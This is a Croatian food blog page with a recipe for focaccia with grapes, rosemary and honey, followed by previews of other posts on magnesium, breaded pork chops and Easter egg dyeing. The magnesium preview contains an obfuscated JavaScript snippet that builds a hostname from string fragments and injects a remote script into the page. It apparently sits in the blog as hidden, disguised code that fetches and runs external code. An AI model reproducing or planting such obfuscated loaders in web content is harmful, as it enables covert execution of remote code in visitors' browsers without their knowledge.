FOCACCIA S GROŽĐEM I RUŽMARINOM




Focaccia s grožđem i ružmarinom 



Inspirirana talijanskim tradicionalnim kruhom s grožđem koji se priprema u vrijeme berbe ova verzija spaja mekano i prozračno tijesto, sočno grožđe, mirisni ružmarin i završni dodir meda.





Focaccia s grožđem i ružmarinom 



Sastojci:

500 g glatkog brašna 
7 g suhog kvasca 
350 ml mlake vode 
2 žličice soli 
1 žličica meda 
4 - 5 žlica maslinova ulja 
250 - 300 g crnog ili ljubičastog grožđa bez koštica 
Nekoliko grančica svježeg ružmarina 
Krupna morska sol 
Malo meda za posluživanje 





Priprema:

U većoj zdjeli pomiješajte brašno, suhi kvasac i sol.

Dodajte mlaku vodu, med i dvije žlice maslinova ulja pa sve dobro promiješajte dok ne dobijete mekano, ljepljivo tijesto.

Ne morate ga mijesiti dugo, dovoljno je da se sastojci povežu.

Pokrijte zdjelu i ostavite tijesto na toplome mjestu otprilike sat do sat i pol odnosno dok se volumen vidljivo ne poveća.

Zatim ga prebacite u lim za pečenje koji ste obilno premazali maslinovim uljem.

Lagano ga razvucite prstima prema rubovima i ostavite još 20 minuta da odmori.

Prstima napravite karakteristične udubine po cijeloj površini tijesta, a zatim rasporedite grožđe i grančice ružmarina.

Sve obilno pokapajte maslinovim uljem te na kraju dodajte malo krupne morske soli.

Pecite u pećnici zagrijanoj na 220 stupnjeva oko 20 do 25 minuta odnosno dok focaccia focaccia ne dobije lijepu zlatnosmeđu boju, a grožđe se lagano ne zapeče i ne pusti sok.

Izvadite iz pećnice te pustite nekoliko minuta da se ohladi.

Za završni okus možete je vrlo lagano preliti s još malo meda i maslinova ulja.

Najbolja je još topla uz čašu vina ili kao dodatak jesenskom druženju.




Pripremila: Ivana Matas 






Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više